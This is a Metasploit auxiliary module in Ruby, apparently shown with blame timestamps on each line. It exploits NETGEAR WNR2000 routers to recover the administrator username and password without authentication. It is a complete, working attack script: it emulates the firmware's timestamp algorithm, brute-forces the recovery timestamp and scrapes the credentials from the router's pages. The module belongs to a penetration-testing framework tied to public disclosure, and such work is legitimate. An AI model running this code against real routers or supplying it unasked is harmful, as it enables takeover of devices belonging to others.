2016-12-27 21:12:35 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2016-12-31 16:49:05 +00:00
|
|
|
require 'time'
|
2016-12-27 21:12:35 +00:00
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2016-12-31 16:49:05 +00:00
|
|
|
include Msf::Auxiliary::CRand
|
2016-12-27 21:12:35 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2016-12-31 16:49:05 +00:00
|
|
|
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
2016-12-27 21:12:35 +00:00
|
|
|
'Description' => %q{
|
2016-12-31 16:49:05 +00:00
|
|
|
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
|
|
|
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
|
|
|
the value of a certain timestamp which is in the configuration of the router.
|
|
|
|
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
|
|
|
1.0.0.34 and 1.0.0.18. It should also work with the v4 and v3, but this has not been tested
|
|
|
|
with these versions.
|
2016-12-27 21:12:35 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
2016-12-31 16:49:05 +00:00
|
|
|
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
|
|
|
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
2016-12-27 21:12:35 +00:00
|
|
|
],
|
2016-12-31 16:49:05 +00:00
|
|
|
'DisclosureDate' => 'Dec 20 2016'))
|
2016-12-27 21:12:35 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self.class)
|
2016-12-31 16:49:05 +00:00
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
|
|
|
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
|
|
|
|
], self.class)
|
2016-12-27 21:12:35 +00:00
|
|
|
end
|
2016-12-31 16:49:05 +00:00
|
|
|
|
|
|
|
def get_current_time
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/',
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
if res && res['Date']
|
|
|
|
date = res['Date']
|
|
|
|
return Time.parse(date).strftime('%s').to_i
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Do some crazyness to force Ruby to cast to a single-precision float and
|
|
|
|
# back to an integer.
|
|
|
|
# This emulates the behaviour of the soft-fp library and the float cast
|
|
|
|
# which is done at the end of Netgear's timestamp generator.
|
|
|
|
def ieee754_round (number)
|
|
|
|
[number].pack('f').unpack('f*')[0].to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# This is the actual algorithm used in the get_timestamp function in
|
|
|
|
# the Netgear firmware.
|
|
|
|
def get_timestamp(time)
|
|
|
|
srandom_r time
|
|
|
|
t0 = random_r
|
|
|
|
t1 = 0x17dc65df;
|
|
|
|
hi = (t0 * t1) >> 32;
|
|
|
|
t2 = t0 >> 31;
|
|
|
|
t3 = hi >> 23;
|
|
|
|
t3 = t3 - t2;
|
|
|
|
t4 = t3 * 0x55d4a80;
|
|
|
|
t0 = t0 - t4;
|
|
|
|
t0 = t0 + 0x989680;
|
|
|
|
|
|
|
|
ieee754_round(t0)
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_creds
|
2016-12-27 21:12:35 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/BRS_netgear_success.html',
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
if res && res.body =~ /var sn="([\w]*)";/
|
|
|
|
serial = $1
|
|
|
|
else
|
2016-12-31 16:49:05 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
|
2016-12-27 21:12:35 +00:00
|
|
|
end
|
2016-12-31 16:49:05 +00:00
|
|
|
|
2016-12-27 21:12:35 +00:00
|
|
|
# 1: send serial number
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
|
|
|
'method' => 'POST',
|
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
2016-12-31 16:49:05 +00:00
|
|
|
'vars_post' =>
|
2016-12-27 21:12:35 +00:00
|
|
|
{
|
|
|
|
'submit_flag' => 'match_sn',
|
|
|
|
'serial_num' => serial,
|
|
|
|
'continue' => '+Continue+'
|
2016-12-31 16:49:05 +00:00
|
|
|
}
|
2016-12-27 21:12:35 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
# 2: send answer to secret questions
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
|
|
|
'method' => 'POST',
|
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
2016-12-31 16:49:05 +00:00
|
|
|
'vars_post' =>
|
2016-12-27 21:12:35 +00:00
|
|
|
{
|
|
|
|
'submit_flag' => 'security_question',
|
2016-12-31 16:49:05 +00:00
|
|
|
'answer1' => @q1,
|
|
|
|
'answer2' => @q2,
|
2016-12-27 21:12:35 +00:00
|
|
|
'continue' => '+Continue+'
|
2016-12-31 16:49:05 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2016-12-27 21:12:35 +00:00
|
|
|
# 3: PROFIT!!!
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/passwordrecovered.cgi',
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
2016-12-31 16:49:05 +00:00
|
|
|
|
2016-12-27 21:12:35 +00:00
|
|
|
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
|
|
|
password = $1
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
|
|
|
end
|
2016-12-31 16:49:05 +00:00
|
|
|
|
2016-12-27 21:12:35 +00:00
|
|
|
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
|
|
|
username = $1
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
|
|
|
end
|
2016-12-31 16:49:05 +00:00
|
|
|
|
2016-12-27 21:12:35 +00:00
|
|
|
return [username, password]
|
2016-12-31 16:49:05 +00:00
|
|
|
end
|
2016-12-27 21:12:35 +00:00
|
|
|
|
2016-12-31 16:49:05 +00:00
|
|
|
def send_req(timestamp)
|
|
|
|
begin
|
|
|
|
uri_str = (timestamp == nil ? \
|
|
|
|
"/apply_noauth.cgi?/PWD_password.htm" : \
|
|
|
|
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => uri_str,
|
|
|
|
'method' => 'POST',
|
|
|
|
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
|
|
|
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
|
|
|
})
|
|
|
|
return res
|
|
|
|
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2016-12-27 21:12:35 +00:00
|
|
|
|
|
|
|
def run
|
2016-12-31 16:49:05 +00:00
|
|
|
# generate the security questions
|
|
|
|
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
|
|
|
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
2016-12-27 21:12:35 +00:00
|
|
|
|
2016-12-31 16:49:05 +00:00
|
|
|
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
|
|
|
print_status("#{peer} - Trying the easy way out first")
|
|
|
|
res = send_req(nil)
|
|
|
|
if res && res.code == 200
|
|
|
|
credentials = get_creds
|
|
|
|
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
|
|
|
return
|
2016-12-27 21:12:35 +00:00
|
|
|
end
|
|
|
|
|
2016-12-31 16:49:05 +00:00
|
|
|
# no result? let's just go on and bruteforce the timestamp
|
|
|
|
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
|
|
|
|
|
|
|
# get the current date from the router and parse it
|
|
|
|
end_time = get_current_time
|
|
|
|
if end_time == nil
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
|
|
|
end
|
|
|
|
if end_time <= datastore['TIME_OFFSET']
|
|
|
|
start_time = 0
|
2016-12-27 21:12:35 +00:00
|
|
|
else
|
2016-12-31 16:49:05 +00:00
|
|
|
start_time = end_time - datastore['TIME_OFFSET']
|
|
|
|
end
|
|
|
|
end_time += datastore['TIME_SURPLUS']
|
|
|
|
|
|
|
|
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
|
|
|
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
2016-12-31 17:02:34 +00:00
|
|
|
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
2016-12-31 16:49:05 +00:00
|
|
|
|
|
|
|
# work back from the current router time minus datastore['TIME_OFFSET']
|
|
|
|
while true
|
|
|
|
for time in end_time.downto(start_time)
|
|
|
|
timestamp = get_timestamp(time)
|
|
|
|
sleep 0.1
|
|
|
|
if time % 400 == 0
|
|
|
|
print_status("#{peer} - Still working, trying time #{time}")
|
|
|
|
end
|
|
|
|
res = send_req(timestamp)
|
|
|
|
if res && res.code == 200
|
|
|
|
credentials = get_creds
|
|
|
|
print_good("#{peer} - Success! Got admin username #{credentials[0]} and password #{credentials[1]}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if start_time == 0
|
|
|
|
# for the special case when the router resets the date to 1 Jan 1970
|
|
|
|
start_time = end_time - (datastore['TIME_SURPLUS'])
|
|
|
|
end_time += datastore['TIME_OFFSET']
|
|
|
|
else
|
|
|
|
end_time = start_time
|
|
|
|
start_time -= datastore['TIME_OFFSET']
|
|
|
|
end
|
2016-12-31 17:02:34 +00:00
|
|
|
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
|
|
|
|
|
|
|
|
# let the router clear the buffers a bit...
|
|
|
|
sleep 30
|
2016-12-27 21:12:35 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|